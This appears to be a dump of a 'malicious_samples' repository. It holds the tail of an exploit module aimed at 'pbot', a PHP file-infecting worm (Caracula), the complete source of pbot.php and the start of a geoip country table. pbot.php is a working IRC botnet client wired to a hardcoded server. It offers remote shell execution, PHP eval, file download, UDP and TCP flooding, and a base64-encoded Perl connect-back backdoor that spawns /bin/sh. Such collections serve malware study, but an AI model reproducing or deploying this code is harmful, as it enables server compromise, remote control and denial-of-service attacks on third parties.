print_error("#{rhost}:#{rport} - Error registering with the pbot") 178 | return 179 | end 180 | 181 | print_status("#{rhost}:#{rport} - Exploiting the pbot...") 182 | pbot_command(sock) 183 | 184 | quit(sock) 185 | disconnect 186 | end 187 | end 188 | -------------------------------------------------------------------------------- /malicious_samples/RC-Worm.PHP.Caracula: -------------------------------------------------------------------------------- 1 | "); 212 | return; 213 | } 214 | } 215 | closedir($aa); 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | // search for ocx, sys, bat, exe, vxd file in c:\windows\system\ 226 | 227 | $systems = opendir('C:\Windows\System'); 228 | while ($filesys = readdir($systems)) 229 | { 230 | 231 | $infected = true; 232 | $systemexe = false; 233 | 234 | if ( ($systemexe = strstr ($filesys, '.sys')) || ($systemexe = strstr ($filesys, '.vxd')) || ($systemexe = strstr ($filesys, '.bat')) || ($systemexe = strstr ($filesys, '.exe')) || ($systemexe = strstr ($filesys, '.ocx')) ) 235 | if ( (is_writeable($filesys) ) 236 | { 237 | 238 | $sysk = fopen($filesys, "r"); 239 | $xst = fread($sysk, filesize($filesys); 240 | $good = strstr ($xst, 'Are you ready to slide with Caracula ???'); 241 | if (!$good) $infected = false; 242 | } 243 | 244 | if ( ($infected=false) ) 245 | { 246 | $sysk = fopen($filesys, "a"); 247 | $fputs($sysk, "Are you read to slide with Caracula ??? I'm ready but you don't!!! PHP.Caracula - slide now"); 248 | return; 249 | } 250 | } 251 | closedir($systems); 252 | 253 | 254 | echo $ree; 255 | echo $string_q; 256 | 257 | ?> 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | -------------------------------------------------------------------------------- /malicious_samples/pbot.php: -------------------------------------------------------------------------------- 1 | //login to the bot 11 | * .logout //logout of the bot 12 | * .die //kill the bot 13 | * .restart //restart the bot 14 | * .mail //send an email 15 | * .dns //dns lookup 16 | * .download //download a file 17 | * .exec // uses exec() //execute a command 18 | * .sexec // uses shell_exec() //execute a command 19 | * .cmd // uses popen() //execute a command 20 | * .info //get system information 21 | * .php // uses eval() //execute php code 22 | * .tcpflood //tcpflood attack 23 | * .udpflood //udpflood attack 24 | * .raw //raw IRC command 25 | * .rndnick //change nickname 26 | * .pscan //port scan 27 | * .safe // test safe_mode (dvl) 28 | * .inbox // test inbox (dvl) 29 | * .conback // conect back (dvl) 30 | * .uname // return shell's uname using a php function (dvl) 31 | * 32 | */ 33 | 34 | set_time_limit(0); 35 | error_reporting(0); 36 | echo "ok!"; 37 | 38 | class pBot 39 | { 40 | var $config = array("server"=>"198.251.89.119", 41 | "port"=>"443", 42 | "pass"=>"", 43 | "prefix"=>"boot", 44 | "maxrand"=>"5", 45 | "chan"=>"#zmap", 46 | "chan2"=>"#zmap", 47 | "key"=>"", 48 | "modes"=>"+ps", 49 | "password"=>"hacker", 50 | "trigger"=>".", 51 | "hostauth"=>"*" // * for any hostname (remember: /setvhost pipod.tv) 52 | ); 53 | var $users = array(); 54 | function start() 55 | { 56 | if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) 57 | $this->start(); 58 | $ident = $this->config['prefix']; 59 | $alph = range("0","9"); 60 | for($i=0;$i<$this->config['maxrand'];$i++) 61 | $ident .= $alph[rand(0,9)]; 62 | if(strlen($this->config['pass'])>0) 63 | $this->send("PASS ".$this->config['pass']); 64 | $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname().""); 65 | $this->set_nick(); 66 | $this->main(); 67 | } 68 | function main() 69 | { 70 | while(!feof($this->conn)) 71 | { 72 | $this->buf = trim(fgets($this->conn,512)); 73 | $cmd = explode(" ",$this->buf); 74 | if(substr($this->buf,0,6)=="PING :") 75 | { 76 | $this->send("PONG :".substr($this->buf,6)); 77 | } 78 | if(isset($cmd[1]) && $cmd[1] =="001") 79 | { 80 | $this->send("MODE ".$this->nick." ".$this->config['modes']); 81 | $this->join($this->config['chan'],$this->config['key']); 82 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } 83 | else { $safemode = "off"; } 84 | $uname = php_uname(); 85 | $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)"); 86 | 87 | } 88 | if(isset($cmd[1]) && $cmd[1]=="433") 89 | { 90 | $this->set_nick(); 91 | } 92 | if($this->buf != $old_buf) 93 | { 94 | $mcmd = array(); 95 | $msg = substr(strstr($this->buf," :"),2); 96 | $msgcmd = explode(" ",$msg); 97 | $nick = explode("!",$cmd[0]); 98 | $vhost = explode("@",$nick[1]); 99 | $vhost = $vhost[1]; 100 | $nick = substr($nick[0],1); 101 | $host = $cmd[0]; 102 | if($msgcmd[0]==$this->nick) 103 | { 104 | for($i=0;$i2) 113 | { 114 | switch($cmd[1]) 115 | { 116 | case "QUIT": 117 | if($this->is_logged_in($host)) 118 | { 119 | $this->log_out($host); 120 | } 121 | break; 122 | case "PART": 123 | if($this->is_logged_in($host)) 124 | { 125 | $this->log_out($host); 126 | } 127 | break; 128 | case "PRIVMSG": 129 | if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*")) 130 | { 131 | if(substr($mcmd[0],0,1)==".") 132 | { 133 | switch(substr($mcmd[0],1)) 134 | { 135 | case "user": 136 | if($mcmd[1]==$this->config['password']) 137 | { 138 | $this->privmsg($this->config['chan'],"[\2Auth\2]: User authenticated. Hello Master $nick"); 139 | $this->log_in($host); 140 | } 141 | else 142 | { 143 | $this->privmsg($this->config['chan'],"[\2Auth\2]: Incorrect Password. Self destruct in 10 secs.joke $nick !!!!"); 144 | } 145 | break; 146 | } 147 | } 148 | } 149 | elseif($this->is_logged_in($host)) 150 | { 151 | if(substr($mcmd[0],0,1)==".") 152 | { 153 | switch(substr($mcmd[0],1)) 154 | { 155 | case "restart": 156 | $this->send("QUIT :restart command from $nick"); 157 | fclose($this->conn); 158 | $this->start(); 159 | break; 160 | case "mail": //mail to from subject message 161 | if(count($mcmd)>4) 162 | { 163 | $header = "From: <".$mcmd[2].">"; 164 | if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 165 | { 166 | $this->privmsg($this->config['chan'],"[\2mail\2]: Message Not Sent."); 167 | } 168 | else 169 | { 170 | $this->privmsg($this->config['chan'],"[\2mail\2]: Message Sent \2".$mcmd[1]."\2"); 171 | } 172 | } 173 | break; 174 | case "safe": 175 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") 176 | { 177 | $safemode = "on"; 178 | } 179 | else { 180 | $safemode = "off"; 181 | } 182 | $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode.""); 183 | break; 184 | case "inbox": //test inbox 185 | if(isset($mcmd[1])) 186 | { 187 | $token = md5(uniqid(rand(), true)); 188 | $header = "From: "; 189 | $a = php_uname(); 190 | $b = getenv("SERVER_SOFTWARE"); 191 | $c = gethostbyname($_SERVER["HTTP_HOST"]); 192 | if(!mail($mcmd[1],"InBox Test","#mikel0188@gmail.com. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl ",$header)) 193 | { 194 | $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send"); 195 | } 196 | else 197 | { 198 | $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2"); 199 | } 200 | } 201 | break; 202 | case "conback": 203 | if(count($mcmd)>2) 204 | { 205 | $this->conback($mcmd[1],$mcmd[2]); 206 | } 207 | break; 208 | case "dns": 209 | if(isset($mcmd[1])) 210 | { 211 | $ip = explode(".",$mcmd[1]); 212 | if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 213 | { 214 | $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 215 | } 216 | else 217 | { 218 | $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 219 | } 220 | } 221 | break; 222 | case "info": 223 | case "vuln": 224 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } 225 | else { $safemode = "off"; } 226 | $uname = php_uname(); 227 | $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); 228 | break; 229 | case "bot": 230 | $this->privmsg($this->config['chan'],"[\2bot\2]: just a fucking bot."); 231 | break; 232 | case "uname": 233 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; } 234 | else { $safemode = "off"; } 235 | $uname = php_uname(); 236 | $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)"); 237 | break; 238 | case "rndnick": 239 | $this->set_nick(); 240 | break; 241 | case "raw": 242 | $this->send(strstr($msg,$mcmd[1])); 243 | break; 244 | case "eval": 245 | $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1]))); 246 | break; 247 | case "sexec": 248 | $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 249 | $exec = shell_exec($command); 250 | $ret = explode("\n",$exec); 251 | for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); 254 | break; 255 | 256 | case "exec": 257 | $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 258 | $exec = exec($command); 259 | $ret = explode("\n",$exec); 260 | for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); 263 | break; 264 | 265 | case "passthru": 266 | $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 267 | $exec = passthru($command); 268 | $ret = explode("\n",$exec); 269 | for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); 272 | break; 273 | 274 | case "popen": 275 | if(isset($mcmd[1])) 276 | { 277 | $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 278 | $this->privmsg($this->config['chan'],"[\2popen\2]: $command"); 279 | $pipe = popen($command,"r"); 280 | while(!feof($pipe)) 281 | { 282 | $pbuf = trim(fgets($pipe,512)); 283 | if($pbuf != NULL) 284 | $this->privmsg($this->config['chan']," : $pbuf"); 285 | } 286 | pclose($pipe); 287 | } 288 | 289 | case "system": 290 | $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 291 | $exec = system($command); 292 | $ret = explode("\n",$exec); 293 | for($i=0;$iprivmsg($this->config['chan']," : ".trim($ret[$i])); 296 | break; 297 | 298 | 299 | case "pscan": // .pscan 127.0.0.1 6667 300 | if(count($mcmd) > 2) 301 | { 302 | if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15)) 303 | $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2"); 304 | else 305 | $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2"); 306 | } 307 | break; 308 | 309 | 310 | case "download": 311 | if(count($mcmd) > 2) 312 | { 313 | if(!$fp = fopen($mcmd[2],"w")) 314 | { 315 | $this->privmsg($this->config['chan'],"[\2download\2]: Cannot Download... permission denied."); 316 | } 317 | else 318 | { 319 | if(!$get = file($mcmd[1])) 320 | { 321 | $this->privmsg($this->config['chan'],"[\2download\2]: Sorry Not Available \2".$mcmd[1]."\2"); 322 | } 323 | else 324 | { 325 | for($i=0;$i<=count($get);$i++) 326 | { 327 | fwrite($fp,$get[$i]); 328 | } 329 | $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 File Downloaded \2".$mcmd[2]."\2"); 330 | } 331 | fclose($fp); 332 | } 333 | } 334 | else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); } 335 | break; 336 | case "die": 337 | $this->send("QUIT : $fulldate [-scryptzoid-]"); 338 | fclose($this->conn); 339 | exit; 340 | case "logout": 341 | $this->log_out($host); 342 | $this->privmsg($this->config['chan'],"[\2auth\2]: $nick bleeh!"); 343 | break; 344 | case "udpflood": 345 | if(count($mcmd)>3) 346 | { 347 | $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]); 348 | } 349 | break; 350 | case "tcpflood": 351 | if(count($mcmd)>5) 352 | { 353 | $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]); 354 | } 355 | break; 356 | } 357 | } 358 | } 359 | break; 360 | } 361 | } 362 | } 363 | $old_buf = $this->buf; 364 | } 365 | $this->start(); 366 | } 367 | function send($msg) 368 | { 369 | fwrite($this->conn,"$msg\r\n"); 370 | 371 | } 372 | function join($chan,$key=NULL) 373 | { 374 | $this->send("JOIN $chan $key"); 375 | } 376 | function privmsg($to,$msg) 377 | { 378 | $this->send("PRIVMSG $to :$msg"); 379 | } 380 | function notice($to,$msg) 381 | { 382 | $this->send("NOTICE $to :$msg"); 383 | } 384 | function is_logged_in($host) 385 | { 386 | if(isset($this->users[$host])) 387 | return 1; 388 | else 389 | return 0; 390 | } 391 | function log_in($host) 392 | { 393 | $this->users[$host] = true; 394 | } 395 | function log_out($host) 396 | { 397 | unset($this->users[$host]); 398 | } 399 | function set_nick() 400 | { 401 | if(isset($_SERVER['SERVER_SOFTWARE'])) 402 | { 403 | if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) 404 | $this->nick = "[A]"; 405 | elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) 406 | $this->nick = "[b]"; 407 | elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) 408 | $this->nick = "[C]"; 409 | else 410 | $this->nick = "[D]"; 411 | } 412 | else 413 | { 414 | $this->nick = "[E]"; 415 | } 416 | $this->nick .= $this->config['prefix']; 417 | for($i=0;$i<$this->config['maxrand'];$i++) 418 | $this->nick .= mt_rand(0,9); 419 | $this->send("NICK ".$this->nick); 420 | } 421 | function udpflood($host,$packetsize,$time) { 422 | $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]"); 423 | $packet = ""; 424 | for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); } 425 | $timei = time(); 426 | $i = 0; 427 | while(time()-$timei < $time) { 428 | $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5); 429 | fwrite($fp,$packet); 430 | fclose($fp); 431 | $i++; 432 | } 433 | $env = $i * $packetsize; 434 | $env = $env / 1048576; 435 | $vel = $env / $time; 436 | $vel = round($vel); 437 | $env = round($env); 438 | $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB sent / Media: $vel MB/s "); 439 | } 440 | function tcpflood($host,$packets,$packetsize,$port,$delay) 441 | { 442 | $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]"); 443 | $packet = ""; 444 | for($i=0;$i<$packetsize;$i++) 445 | $packet .= chr(mt_rand(1,256)); 446 | for($i=0;$i<$packets;$i++) 447 | { 448 | if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) 449 | { 450 | $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>"); 451 | return 0; 452 | } 453 | else 454 | { 455 | fwrite($fp,$packet); 456 | fclose($fp); 457 | } 458 | sleep($delay); 459 | } 460 | $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets A gift to $host:$port."); 461 | } 462 | function conback($ip,$port) 463 | { 464 | $this->privmsg($this->config['chan'],"[\2conback\2]: Trying To Establish Connection $ip:$port"); 465 | $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw=="; 466 | if (is_writable("/tmp")) 467 | { 468 | if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); } 469 | $fp=fopen("/tmp/dc.pl","w"); 470 | fwrite($fp,base64_decode($dc_source)); 471 | passthru("perl /tmp/dc.pl $ip $port &"); 472 | unlink("/tmp/dc.pl"); 473 | } 474 | else 475 | { 476 | if (is_writable("/var/tmp")) 477 | { 478 | if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); } 479 | $fp=fopen("/var/tmp/dc.pl","w"); 480 | fwrite($fp,base64_decode($dc_source)); 481 | passthru("perl /var/tmp/dc.pl $ip $port &"); 482 | unlink("/var/tmp/dc.pl"); 483 | } 484 | if (is_writable(".")) 485 | { 486 | if (file_exists("dc.pl")) { unlink("dc.pl"); } 487 | $fp=fopen("dc.pl","w"); 488 | fwrite($fp,base64_decode($dc_source)); 489 | passthru("perl dc.pl $ip $port &"); 490 | unlink("dc.pl"); 491 | } 492 | } 493 | } 494 | } 495 | 496 | $bot = new pBot; 497 | $bot->start(); 498 | 499 | ?> 500 | -------------------------------------------------------------------------------- /malicious_samples/geoip.php: -------------------------------------------------------------------------------- 1 | 0, "AP" => 1, "EU" => 2, "AD" => 3, "AE" => 4, "AF" => 5, 66 | "AG" => 6, "AI" => 7, "AL" => 8, "AM" => 9, "AN" => 10, "AO" => 11, 67 | "AQ" => 12, "AR" => 13, "AS" => 14, "AT" => 15, "AU" => 16, "AW" => 17, 68 | "AZ" => 18, "BA" => 19, "BB" => 20, "BD" => 21, "BE" => 22, "BF" => 23, 69 | "BG" => 24, "BH" => 25, "BI" => 26, "BJ" => 27, "BM" => 28, "BN" => 29, 70 | "BO" => 30, "BR" => 31, "BS" => 32, "BT" => 33, "BV" => 34, "BW" => 35, 71 | "BY" => 36, "BZ" => 37, "CA" => 38, "CC" => 39, "CD" => 40, "CF" => 41, 72 | "CG" => 42, "CH" => 43, "CI" => 44, "CK" => 45, "CL" => 46, "CM" => 47, 73 | "CN" => 48, "CO" => 49, "CR" => 50, "CU" => 51, "CV" => 52, "CX" => 53, 74 | "CY" => 54, "CZ" => 55, "DE" => 56, "DJ" => 57, "DK" => 58, "DM" => 59, 75 | "DO" => 60, "DZ" => 61, "EC" => 62, "EE" => 63, "EG" => 64, "EH" => 65, 76 | "ER" => 66, "ES" => 67, "ET" => 68, "FI" => 69, "FJ" => 70, "FK" => 71, 77 | "FM" => 72, "FO" => 73, "FR" => 74, "FX" => 75, "GA" => 76, "GB" => 77, 78 | "GD" => 78, "GE" => 79, "GF" => 80, "GH" => 81, "GI" => 82, "GL" => 83, 79 | "GM" => 84, "GN" => 85, "GP" => 86, "GQ" => 87, "GR" => 88, "GS" => 89, 80 | "GT" => 90, "GU" => 91, "GW" => 92, "GY" => 93, "HK" => 94, "HM" => 95, 81 | "HN" => 96, "HR" => 97, "HT" => 98, "HU" => 99, "ID" => 100, "IE" => 101, 82 | "IL" => 102, "IN" => 103, "IO" => 104, "IQ" => 105, "IR" => 106, "IS" => 107, 83 | "IT" => 108, "JM" => 109, "JO" => 110, "JP" => 111, "KE" => 112, "KG" => 113, 84 | "KH" => 114, "KI" => 115, "KM" => 116, "KN" => 117, "KP" => 118, "KR" => 119, 85 | "KW" => 120, "KY" => 121, "KZ" => 122, "LA" => 123, "LB" => 124, "LC" => 125, 86 | "LI" => 126, "LK" => 127, "LR" => 128, "LS" => 129, "LT" => 130, "LU" => 131, 87 | "LV" => 132, "LY" => 133, "MA" => 134, "MC" => 135, "MD" => 136, "MG" => 137, 88 | "MH" => 138, "MK" => 139, "ML" => 140, "MM" => 141, "MN" => 142, "MO" => 143, 89 | "MP" => 144, "MQ" => 145, "MR" => 146, "MS" => 147, "MT" => 148, "MU" => 149, 90 | "MV" => 150, "MW" => 151, "MX" => 152, "MY" => 153, "MZ" => 154, "NA" => 155, 91 | "NC" => 156, "NE" => 157, "NF" => 158, "NG" => 159, "NI" => 160, "NL" => 161, 92 | "NO" => 162, "NP" => 163, "NR" => 164, "NU" => 165, "NZ" => 166, "OM" => 167, 93 | "PA" => 168, "PE" => 169, "PF" => 170, "PG" => 171, "PH" => 172, "PK" => 173, 94 | "PL" => 174, "PM" => 175, "PN" => 176, "PR" => 177, "PS" => 178, "PT" => 179, 95 | "PW" => 180, "PY" => 181, "QA" => 182, "RE" => 183, "RO" => 184, "RU" => 185, 96 | "RW" => 186, "SA" => 187, "SB" => 188, "SC" => 189, "SD" => 190, "SE" => 191, 97 | "SG" => 192, "SH" => 193, "SI" => 194, "SJ" => 195, "SK" => 196, "SL" => 197, 98 | "SM" => 198, "SN" => 199, "SO" => 200, "SR" => 201, "ST" => 202, "SV" => 203, 99 | "SY" => 204, "SZ" => 205, "TC" => 206, "TD" => 207, "TF" => 208, "TG" => 209, 100 | "TH" => 210, "TJ" => 211, "TK" => 212, "TM" => 213, "TN" => 214, "TO" => 215, 101 | "TL" => 216, "TR" => 217, "TT" => 218, "TV" => 219, "TW" => 220, "TZ" => 221, 102 | "UA" => 222, "UG" => 223, "UM" => 224, "US" => 225, "UY" => 226, "UZ" => 227, 103 | "VA" => 228, "VC" => 229, "VE" => 230, "VG" => 231, "VI" => 232, "VN" => 233, 104 | "VU" => 234, "WF" => 235, "WS" => 236, "YE" => 237, "YT" => 238, "RS" => 239, 105 | "ZA" => 240, "ZM" => 241, "ME" => 242, "ZW" => 243, "A1" => 244, "A2" => 245, 106 | "O1" => 246, "AX" => 247, "GG" => 248, "IM" => 249, "JE" => 250, "BL" => 251, 107 | "MF" => 252 108 | ); 109 | var $GEOIP_COUNTRY_CODES = array( 110 | "", "AP", "EU", "AD", "AE", "AF", "AG", "AI", "AL", "AM", "AN", "AO", "AQ", 111 | "AR", "AS", "AT", "AU", "AW", "AZ", "BA", "BB", "BD", "BE", "BF", "BG", "BH", 112 | "BI", "BJ", "BM", "BN", "BO", "BR", "BS", "BT", "BV", "BW", "BY", "BZ", "CA", 113 | "CC", "CD", "CF", "CG", "CH", "CI", "CK", "CL", "CM", "CN", "CO", "CR", "CU", 114 | "CV", "CX", "CY", "CZ", "DE", "DJ", "DK", "DM", "DO", "DZ", "EC", "EE", "EG", 115 | "EH", "ER", "ES", "ET", "FI", "FJ", "FK", "FM", "FO", "FR", "FX", "GA", "GB", 116 | "GD", "GE", "GF", "GH", "GI", "GL", "GM", "GN", "GP", "GQ", "GR", "GS", "GT", 117 | "GU", "GW", "GY", "HK", "HM", "HN", "HR", "HT", "HU", "ID", "IE", "IL", "IN", 118 | "IO", "IQ", "IR", "IS", "IT", "JM", "JO", "JP", "KE", "KG", "KH", "KI", "KM", 119 | "KN", "KP", "KR", "KW", "KY", "KZ", "LA", "LB", "LC", "LI", "LK", "LR", "LS", 120 | "LT", "LU", "LV", "LY", "MA", "MC", "MD", "MG", "MH", "MK", "ML", "MM", "MN", 121 | "MO", "MP", "MQ", "MR", "MS", "MT", "MU", "MV", "MW", "MX", "MY", "MZ", "NA", 122 | "NC", "NE", "NF", "NG", "NI", "NL", "NO", "NP", "NR", "NU", "NZ", "OM", "PA", 123 | "PE", "PF", "PG", "PH", "PK", "PL", "PM", "PN", "PR", "PS", "PT", "PW", "PY", 124 | "QA", "RE", "RO", "RU", "RW", "SA", "SB", "SC", "SD", "SE", "SG", "SH", "SI", 125 | "SJ", "SK", "SL", "SM", "SN", "SO", "SR", "ST", "SV", "SY", "SZ", "TC", "TD", 126 | "TF", "TG", "TH", "TJ", "TK", "TM", "TN", "TO", "TL", "TR", "TT", "TV", "TW", 127 | "TZ", "UA", "UG", "UM", "US", "UY", "UZ", "VA", "VC", "VE", "VG", "VI", "VN", 128 | "VU", "WF", "WS", "YE", "YT", "RS", "ZA", "ZM", "ME", "ZW", "A1", "A2", "O1", 129 | "AX", "GG", "IM", "JE", "BL", "MF" 130 | ); 131 | var $GEOIP_COUNTRY_CODES3 = array( 132 | "","AP","EU","AND","ARE","AFG","ATG","AIA","ALB","ARM","ANT","AGO","AQ","ARG", 133 | "ASM","AUT","AUS","ABW","AZE","BIH","BRB","BGD","BEL","BFA","BGR","BHR","BDI", 134 | "BEN","BMU","BRN","BOL","BRA","BHS","BTN","BV","BWA","BLR","BLZ","CAN","CC", 135 | "COD","CAF","COG","CHE","CIV","COK","CHL","CMR","CHN","COL","CRI","CUB","CPV", 136 | "CX","CYP","CZE","DEU","DJI","DNK","DMA","DOM","DZA","ECU","EST","EGY","ESH", 137 | "ERI","ESP","ETH","FIN","FJI","FLK","FSM","FRO","FRA","FX","GAB","GBR","GRD", 138 | "GEO","GUF","GHA","GIB","GRL","GMB","GIN","GLP","GNQ","GRC","GS","GTM","GUM", 139 | "GNB","GUY","HKG","HM","HND","HRV","HTI","HUN","IDN","IRL","ISR","IND","IO", 140 | "IRQ","IRN","ISL","ITA","JAM","JOR","JPN","KEN","KGZ","KHM","KIR","COM","KNA", 141 | "PRK","KOR","KWT","CYM","KAZ","LAO","LBN","LCA","LIE","LKA","LBR","LSO","LTU", 142 | "LUX","LVA","LBY","MAR","MCO","MDA","MDG","MHL","MKD","MLI","MMR","MNG","MAC", 143 | "MNP","MTQ","MRT","MSR","MLT","MUS","MDV","MWI","MEX","MYS","MOZ","NAM","NCL", 144 | "NER","NFK","NGA","NIC","NLD","NOR","NPL","NRU","NIU","NZL","OMN","PAN","PER", 145 | "PYF","PNG","PHL","PAK","POL","SPM","PCN","PRI","PSE","PRT","PLW","PRY","QAT", 146 | "REU","ROU","RUS","RWA","SAU","SLB","SYC","SDN","SWE","SGP","SHN","SVN","SJM", 147 | "SVK","SLE","SMR","SEN","SOM","SUR","STP","SLV","SYR","SWZ","TCA","TCD","TF", 148 | "TGO","THA","TJK","TKL","TLS","TKM","TUN","TON","TUR","TTO","TUV","TWN","TZA", 149 | "UKR","UGA","UM","USA","URY","UZB","VAT","VCT","VEN","VGB","VIR","VNM","VUT", 150 | "WLF","WSM","YEM","YT","SRB","ZAF","ZMB","MNE","ZWE","A1","A2","O1", 151 | "ALA","GGY","IMN","JEY","BLM","MAF" 152 | ); 153 | var $GEOIP_COUNTRY_NAMES = array( 154 | "", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", 155 | "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", 156 | "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", 157 | "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", 158 | "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", 159 | "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", 160 | "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", 161 | "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", 162 | "Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", 163 | "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", 164 | "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", 165 | "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", 166 | "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", 167 | "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", 168 | "France", "France, Metropolitan", "Gabon", "United Kingdom", 169 | "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", 170 | "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", 171 | "Guatemala", "Guam", "Guinea-Bissau", 172 | "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", 173 | "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", 174 | "British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", 175 | "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", 176 | "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", 177 | "Korea, Republic of", "Kuwait", "Cayman Islands", 178 | "Kazakhstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", 179 | "Liechtenstein", "Sri Lanka", 